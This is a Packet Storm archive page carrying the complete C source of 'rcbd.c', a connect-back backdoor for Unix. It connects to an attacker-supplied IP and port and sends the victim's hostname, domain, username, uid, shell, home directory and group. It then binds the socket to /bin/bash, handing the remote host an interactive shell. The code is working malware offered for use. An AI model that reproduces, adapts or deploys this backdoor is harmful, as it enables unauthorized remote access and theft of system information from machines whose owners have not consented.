exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

rcbd.c

rcbd.c
Posted Oct 10, 2007
Authored by St0rM-MaN

Simple connect-back back door for Unix. Sends statistical information regarding the remote server such as uid/gid, uname, etc.

tags | tool, remote, rootkit
systems | unix
SHA-256 | 2e1e678ec44e8a8dd04699775555f44b001eb535aa98bfd66e2d7b932893bd3c

rcbd.c

Change Mirror Download
#include<stdio.h>
#include<string.h>
#include<stdlib.h>

#include<arpa/inet.h>
#include<netinet/in.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/wait.h>

#include<unistd.h>
#include<errno.h>
#include<grp.h>
#include<pwd.h>

#define SHELL "/bin/bash"
#define LEN 100
#define USR_LEN 200

void error(const char *error)
{
if(errno != 0)
perror(error);
else
printf("Error in %s\n",error);
_exit(1);
}

/* sending information to connected host */
void send_information_to_user(int sockfd)
{
struct passwd *pw;
struct group *gr;
uid_t uid;
int st;
char host[LEN];
char domain[LEN];
char user_information[USR_LEN];
char grp_information[USR_LEN];
char me[] = "\t\tH00lyShit \t Backd00r\n\n\t\t By St0rM-MaN (Programming-fr34ks.net)\n";

if((st = gethostname(host , LEN)) == -1)
error("[!]Getting Host_Name");
if((st = getdomainname(domain , LEN)) == -1)
error("[!]Getting Domain Name");

strcat(host , "\n");
strcat(domain , "\n");

uid = getuid();

if((pw = getpwuid(uid)) == NULL)
error("[!]Grabbing User Information");
if((gr = getgrgid(pw->pw_gid)) == NULL)
error("[!]Grabbing Group Information");
sprintf(user_information , "\t\tUser (%s) uid(%d) shell(%s) home(%s)\n",
pw->pw_name , pw->pw_uid , pw->pw_shell , pw->pw_dir);
sprintf(grp_information , "\t\tGroup (%s) ,gid (%d)\n",gr->gr_name , gr->gr_gid);

if((st = send(sockfd , me , strlen(me) , 0)) < 0)
error("[!]Sending Information");
sleep(1);
if((st = send(sockfd ,host , strlen(host) , 0 )) < 0)
error("[!]Sending Information");
sleep(1);
if((st = send(sockfd , domain , strlen(domain) , 0)) < 0)
error("[!]Sending Information");
sleep(1);
if((st = send(sockfd , user_information , strlen(user_information) , 0)) < 0)
error("[!]Sending Information");
sleep(1);
if((st = send(sockfd , grp_information , strlen(grp_information) , 0)) < 0)
error("[!]Sending Information");
}
int main(int argc , char *argv[])
{
int z , st;
int sockfd;
int sock_len;
pid_t bind_sh;


struct sockaddr_in att;

if(argc < 3)
{
printf("usage %s ip_number port_number\n",argv[0]);
_exit(0);
}
printf("[+]Forming Address\n");
att.sin_family = AF_INET ;
att.sin_port = htons(atoi(argv[2]));
z = inet_aton(argv[1] , &att.sin_addr);
sock_len = sizeof(att);

if(z == 0)
error("[!]Host_IP Invaild\n");

printf("[+]Creating Socket\n");
sockfd = socket(PF_INET , SOCK_STREAM , 0);
if(sockfd < 0)
error("[!]Creating Socket Faild");


bind_sh = fork();

if(bind_sh == -1)
{
error("Cannot Open New Process");
}else if (bind_sh == 0)
{
printf("[+]Binding Shell\n");
printf("[+]Connecting\n");
printf("[+]Sending_User Infromation\n");
z = connect(sockfd , (struct sockaddr*)&att , sock_len);
if(z == -1)
error("[!]Connection error");

send_information_to_user(sockfd);


if((dup2(sockfd , 0) == -1) ||
(dup2(sockfd , 1) == -1) ||
(dup2(sockfd , 3) == -1));

execl(SHELL , SHELL , NULL);
}else
{
wait(&st); /* kinda useless but safe */
}

printf("Done\n");
return 0;
}

Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    14 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close